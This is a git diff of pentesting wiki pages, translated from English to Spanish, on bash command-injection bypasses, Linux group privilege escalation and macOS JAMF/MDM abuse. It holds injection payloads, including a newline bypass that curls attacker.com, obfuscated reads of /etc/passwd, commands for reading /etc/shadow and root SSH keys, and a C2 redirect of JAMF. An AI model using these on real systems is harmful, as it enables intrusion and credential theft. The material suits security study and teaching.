cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"` cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -146,36 +125,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764) xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)` cat `xxd -r -ps <(echo 2f6574632f706173737764)`
``` ```
### Bypass IPs ### Bypass IPs
```bash ```bash
# Decimal IPs # Decimal IPs
127.0.0.1 == 2130706433 127.0.0.1 == 2130706433
``` ```
### Exfiltración de datos basada en el tiempo
### Time based data exfiltration
```bash ```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
``` ```
### Obtener caracteres de variables de entorno
### Getting chars from Env Variables
```bash ```bash
echo ${LS_COLORS:10:1} #; echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/ echo ${PATH:0:1} #/
``` ```
### Exfiltración de datos DNS
### DNS data exfiltration Podrías usar **burpcollab** o [**pingb**](http://pingb.in) por ejemplo.
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
### Builtins ### Builtins
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\ En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de builtins para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todos** los **builtins**, así que deberías **conocer todas tus opciones** para intentar eludir la cárcel. Idea de [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**: Primero que nada, revisa todos los [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Luego aquí tienes algunas **recomendaciones**:
```bash ```bash
# Get list of builtins # Get list of builtins
declare builtins declare builtins
@ -227,30 +198,22 @@ chmod +x [
export PATH=/tmp:$PATH export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello! if [ "a" ]; then echo 1; fi # Will print hello!
``` ```
### Inyección de comandos poliglota
### Polyglot command injection
```bash ```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
``` ```
### Eludir expresiones regulares potenciales
### Bypass potential regexes
```bash ```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters # A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com` 1%0a`curl http://attacker.com`
``` ```
### Bashfuscator ### Bashfuscator
```bash ```bash
# From https://github.com/Bashfuscator/Bashfuscator # From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd' ./bashfuscator -c 'cat /etc/passwd'
``` ```
### RCE con 5 caracteres
### RCE with 5 chars
```bash ```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge # From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution #Oragnge Tsai solution
@ -297,9 +260,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link ## If there is a file /flag.txt that will create a hard link
## to it in the current folder ## to it in the current folder
``` ```
### RCE con 4 caracteres
### RCE with 4 chars
```bash ```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands # In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file # it will follow the same principle of creating the command `ls -t>g` in a file
@ -334,34 +295,25 @@ ln /f*
'sh x' 'sh x'
'sh g' 'sh g'
``` ```
## Bypass de Solo Lectura/Noexec/Distroless
## Read-Only/Noexec/Distroless Bypass Si estás dentro de un sistema de archivos con las **protecciones de solo lectura y noexec** o incluso en un contenedor distroless, aún hay formas de **ejecutar binarios arbitrarios, ¡incluso un shell!:**
If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**
{{#ref}} {{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ ../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}} {{#endref}}
## Chroot & other Jails Bypass ## Bypass de Chroot y otras Cárceles
{{#ref}} {{#ref}}
../privilege-escalation/escaping-from-limited-bash.md ../privilege-escalation/escaping-from-limited-bash.md
{{#endref}} {{#endref}}
## References & More ## Referencias y Más
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) - [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,25 +1,23 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). Más ejemplos sobre yum también se pueden encontrar en [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Executing arbitrary commands via RPM Packages # Ejecutando comandos arbitrarios a través de paquetes RPM
## Checking the Environment ## Comprobando el entorno
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. Para aprovechar este vector, el usuario debe poder ejecutar comandos yum como un usuario con mayores privilegios, es decir, root.
### A working example of this vector ### Un ejemplo funcional de este vector
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). Un ejemplo funcional de este exploit se puede encontrar en la sala [daily bugle](https://tryhackme.com/room/dailybugle) en [tryhackme](https://tryhackme.com).
## Packing an RPM ## Empaquetando un RPM
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). En la siguiente sección, cubriré el empaquetado de un shell reverso en un RPM utilizando [fpm](https://github.com/jordansissel/fpm).
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
El ejemplo a continuación crea un paquete que incluye un disparador antes de la instalación con un script arbitrario que puede ser definido por el atacante. Cuando se instala, este paquete ejecutará el comando arbitrario. He utilizado un simple ejemplo de shell reverso de netcat para la demostración, pero esto se puede cambiar según sea necesario.
```text ```text
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,11 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ # Grupos Sudo/Admin
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} ## **PE - Método 1**
# Sudo/Admin Groups
## **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
**A veces**, **por defecto \(o porque algún software lo necesita\)** dentro del **/etc/sudoers** archivo puedes encontrar algunas de estas líneas:
```bash ```bash
# Allow members of group sudo to execute any command # Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL %sudo ALL=(ALL:ALL) ALL
@ -20,48 +13,36 @@ Get Access Today:
# Allow members of group admin to execute any command # Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL %admin ALL=(ALL:ALL) ALL
``` ```
Esto significa que **cualquier usuario que pertenezca al grupo sudo o admin puede ejecutar cualquier cosa como sudo**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. Si este es el caso, para **convertirse en root solo puedes ejecutar**:
If this is the case, to **become root you can just execute**:
```text ```text
sudo su sudo su
``` ```
## PE - Método 2
## PE - Method 2 Encuentra todos los binarios suid y verifica si hay el binario **Pkexec**:
Find all suid binaries and check if there is the binary **Pkexec**:
```bash ```bash
find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null
``` ```
Si encuentras que el binario pkexec es un binario SUID y perteneces a sudo o admin, probablemente podrías ejecutar binarios como sudo usando pkexec.
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. Verifica el contenido de:
Check the contents of:
```bash ```bash
cat /etc/polkit-1/localauthority.conf.d/* cat /etc/polkit-1/localauthority.conf.d/*
``` ```
Ahí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunas distribuciones de Linux pueden **aparecer** algunos de los grupos **sudo o admin**.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**. Para **convertirte en root puedes ejecutar**:
To **become root you can execute**:
```bash ```bash
pkexec "/bin/sh" #You will be prompted for your user password pkexec "/bin/sh" #You will be prompted for your user password
``` ```
Si intentas ejecutar **pkexec** y obtienes este **error**:
If you try to execute **pkexec** and you get this **error**:
```bash ```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED === ==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized Error executing command as another user: Not authorized
``` ```
**No es porque no tengas permisos, sino porque no estás conectado sin una GUI**. Y hay una solución para este problema aquí: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Necesitas **2 sesiones ssh diferentes**:
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
```bash:session1 ```bash:session1
echo $$ #Step1: Get current PID echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec pkexec "/bin/bash" #Step 3, execute pkexec
@ -72,39 +53,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1 pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec #Step 4, you will be asked in this session to authenticate to pkexec
``` ```
# Wheel Group # Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: **A veces**, **por defecto** dentro del **/etc/sudoers** archivo puedes encontrar esta línea:
```text ```text
%wheel ALL=(ALL:ALL) ALL %wheel ALL=(ALL:ALL) ALL
``` ```
Esto significa que **cualquier usuario que pertenezca al grupo wheel puede ejecutar cualquier cosa como sudo**.
This means that **any user that belongs to the group wheel can execute anything as sudo**. Si este es el caso, para **convertirse en root solo puedes ejecutar**:
If this is the case, to **become root you can just execute**:
```text ```text
sudo su sudo su
``` ```
# Grupo Shadow
# Shadow Group Los usuarios del **grupo shadow** pueden **leer** el **/etc/shadow** archivo:
Users from the **group shadow** can **read** the **/etc/shadow** file:
```text ```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
``` ```
Así que, lee el archivo y trata de **crackear algunos hashes**.
So, read the file and try to **crack some hashes**. # Grupo de Disco
# Disk Group Este privilegio es casi **equivalente al acceso root** ya que puedes acceder a todos los datos dentro de la máquina.
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
Archivos: `/dev/sd[a-z][1-9]`
```text ```text
debugfs /dev/sda1 debugfs /dev/sda1
debugfs: cd /root debugfs: cd /root
@ -112,70 +85,54 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow debugfs: cat /etc/shadow
``` ```
Tenga en cuenta que usando debugfs también puede **escribir archivos**. Por ejemplo, para copiar `/tmp/asd1.txt` a `/tmp/asd2.txt` puede hacer:
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
```bash ```bash
debugfs -w /dev/sda1 debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
``` ```
Sin embargo, si intentas **escribir archivos propiedad de root** \(como `/etc/shadow` o `/etc/passwd`\) recibirás un error de "**Permiso denegado**".
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
# Video Group # Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: Usando el comando `w` puedes encontrar **quién está conectado al sistema** y mostrará una salida como la siguiente:
```bash ```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
``` ```
El **tty1** significa que el usuario **yossi está conectado físicamente** a un terminal en la máquina.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. El **grupo de video** tiene acceso para ver la salida de la pantalla. Básicamente, puedes observar las pantallas. Para hacer eso, necesitas **capturar la imagen actual en la pantalla** en datos en bruto y obtener la resolución que está utilizando la pantalla. Los datos de la pantalla se pueden guardar en `/dev/fb0` y podrías encontrar la resolución de esta pantalla en `/sys/class/graphics/fb0/virtual_size`
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
```bash ```bash
cat /dev/fb0 > /tmp/screen.raw cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size cat /sys/class/graphics/fb0/virtual_size
``` ```
Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el archivo **`screen.raw`** y seleccionar como tipo de archivo **Datos de imagen en bruto**:
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
![](../../images/image%20%28208%29.png) ![](../../images/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): Luego modifica el Ancho y Alto a los que se usaron en la pantalla y verifica diferentes Tipos de Imagen \(y selecciona el que muestre mejor la pantalla\):
![](../../images/image%20%28295%29.png) ![](../../images/image%20%28295%29.png)
# Root Group # Grupo Root
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... Parece que por defecto **los miembros del grupo root** podrían tener acceso a **modificar** algunos archivos de configuración de **servicios** o algunos archivos de **bibliotecas** o **otras cosas interesantes** que podrían ser utilizadas para escalar privilegios...
**Check which files root members can modify**:
**Verifica qué archivos pueden modificar los miembros de root**:
```bash ```bash
find / -group root -perm -g=w 2>/dev/null find / -group root -perm -g=w 2>/dev/null
``` ```
# Grupo Docker
# Docker Group Puedes montar el sistema de archivos raíz de la máquina host en el volumen de una instancia, de modo que cuando la instancia se inicie, carga inmediatamente un `chroot` en ese volumen. Esto te da efectivamente acceso root en la máquina.
You can mount the root filesystem of the host machine to an instances volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
# lxc/lxd Group # Grupo lxc/lxd
[lxc - Privilege Escalation](lxd-privilege-escalation.md) [lxc - Escalación de Privilegios](lxd-privilege-escalation.md)
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,109 +2,98 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud** ## Abusando de MDMs
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Abusing MDMs
- JAMF Pro: `jamf checkJSSConnection` - JAMF Pro: `jamf checkJSSConnection`
- Kandji - Kandji
If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. Si logras **comprometer las credenciales de administrador** para acceder a la plataforma de gestión, puedes **comprometer potencialmente todos los ordenadores** distribuyendo tu malware en las máquinas.
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: Para el red teaming en entornos MacOS, se recomienda tener un entendimiento de cómo funcionan los MDMs:
{{#ref}} {{#ref}}
macos-mdm/ macos-mdm/
{{#endref}} {{#endref}}
### Using MDM as a C2 ### Usando MDM como un C2
A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key... Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar aplicaciones, crear cuentas de administrador locales, establecer contraseña de firmware, cambiar la clave de FileVault...
In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm). Para ejecutar tu propio MDM necesitas **que tu CSR sea firmado por un proveedor** que podrías intentar obtener con [**https://mdmcert.download/**](https://mdmcert.download/). Y para ejecutar tu propio MDM para dispositivos Apple podrías usar [**MicroMDM**](https://github.com/micromdm/micromdm).
However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything. Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribir el MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa.
To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed). Para inscribir el dispositivo en un MDM, necesitas instalar un **`mobileconfig`** como root, que podría ser entregado a través de un **pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá).
**Mythic agent Orthrus** uses this technique. **Mythic agent Orthrus** utiliza esta técnica.
### Abusing JAMF PRO ### Abusando de JAMF PRO
JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...). JAMF puede ejecutar **scripts personalizados** (scripts desarrollados por el sysadmin), **payloads nativos** (creación de cuentas locales, establecer contraseña EFI, monitoreo de archivos/procesos...) y **MDM** (configuraciones de dispositivos, certificados de dispositivos...).
#### JAMF self-enrolment #### Autoinscripción de JAMF
Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**. Ve a una página como `https://<company-name>.jamfcloud.com/enroll/` para ver si tienen **autoinscripción habilitada**. Si la tienen, podría **pedir credenciales para acceder**.
You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack. Podrías usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar un ataque de password spraying.
Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form: Además, después de encontrar credenciales adecuadas, podrías ser capaz de forzar otros nombres de usuario con el siguiente formulario:
![](<../../images/image (107).png>) ![](<../../images/image (107).png>)
#### JAMF device Authentication #### Autenticación de Dispositivo JAMF
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\ El **binario `jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento estaba **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF Device Takeover #### Toma de Control de Dispositivo JAMF
The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
This file basically contains the URL:
La **URL** de **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Este archivo contiene básicamente la URL:
```bash ```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...] [...]
<key>is_virtual_machine</key> <key>is_virtual_machine</key>
<false/> <false/>
<key>jss_url</key> <key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string> <string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key> <key>last_management_framework_change_id</key>
<integer>4</integer> <integer>4</integer>
[...] [...]
``` ```
Entonces, un atacante podría dejar un paquete malicioso (`pkg`) que **sobrescriba este archivo** al instalarlo, configurando la **URL a un listener de Mythic C2 desde un agente Typhon** para poder abusar de JAMF como C2.
So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
```bash ```bash
# After changing the URL you could wait for it to be reloaded or execute: # After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0 sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2 # TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
``` ```
#### Suplantación de JAMF
#### JAMF Impersonation Para **suplantar la comunicación** entre un dispositivo y JMF necesitas:
In order to **impersonate the communication** between a device and JMF you need: - El **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- La **llave de cadena de JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` Con esta información, **crea una VM** con el **UUID** de Hardware **robado** y con **SIP deshabilitado**, coloca la **llave de cadena de JAMF,** **intercepta** el **agente** de Jamf y roba su información.
- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information. #### Robo de secretos
#### Secrets stealing
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure> <figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**. También podrías monitorear la ubicación `/Library/Application Support/Jamf/tmp/` para los **scripts personalizados** que los administradores podrían querer ejecutar a través de Jamf, ya que son **colocados aquí, ejecutados y eliminados**. Estos scripts **podrían contener credenciales**.
However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root). Sin embargo, las **credenciales** podrían ser pasadas a estos scripts como **parámetros**, por lo que necesitarías monitorear `ps aux | grep -i jamf` (sin siquiera ser root).
The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments. El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) puede escuchar nuevos archivos que se añaden y nuevos argumentos de proceso.
### macOS Remote Access ### Acceso Remoto a macOS
And also about **MacOS** "special" **network** **protocols**: Y también sobre los **protocolos** **de red** "especiales" de **MacOS**:
{{#ref}} {{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md ../macos-security-and-privilege-escalation/macos-protocols.md
@ -112,7 +101,7 @@ And also about **MacOS** "special" **network** **protocols**:
## Active Directory ## Active Directory
In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: En algunas ocasiones encontrarás que el **computador MacOS está conectado a un AD**. En este escenario deberías intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra algo de **ayuda** en las siguientes páginas:
{{#ref}} {{#ref}}
../../network-services-pentesting/pentesting-ldap.md ../../network-services-pentesting/pentesting-ldap.md
@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD*
../../network-services-pentesting/pentesting-kerberos-88/ ../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}} {{#endref}}
Some **local MacOS tool** that may also help you is `dscl`: Una **herramienta local de MacOS** que también puede ayudarte es `dscl`:
```bash ```bash
dscl "/Active Directory/[Domain]/All Domains" ls / dscl "/Active Directory/[Domain]/All Domains" ls /
``` ```
También hay algunas herramientas preparadas para MacOS para enumerar automáticamente el AD y jugar con kerberos:
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos: - [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts de MacOS.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto en Objective-C diseñado para interactuar con las APIs Heimdal krb5 en macOS. El objetivo del proyecto es habilitar mejores pruebas de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquetes en el objetivo.
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts. - [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target.
- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration.
### Domain Information
### Información del Dominio
```bash ```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil echo show com.apple.opendirectoryd.ActiveDirectory | scutil
``` ```
### Usuarios
### Users Los tres tipos de usuarios de MacOS son:
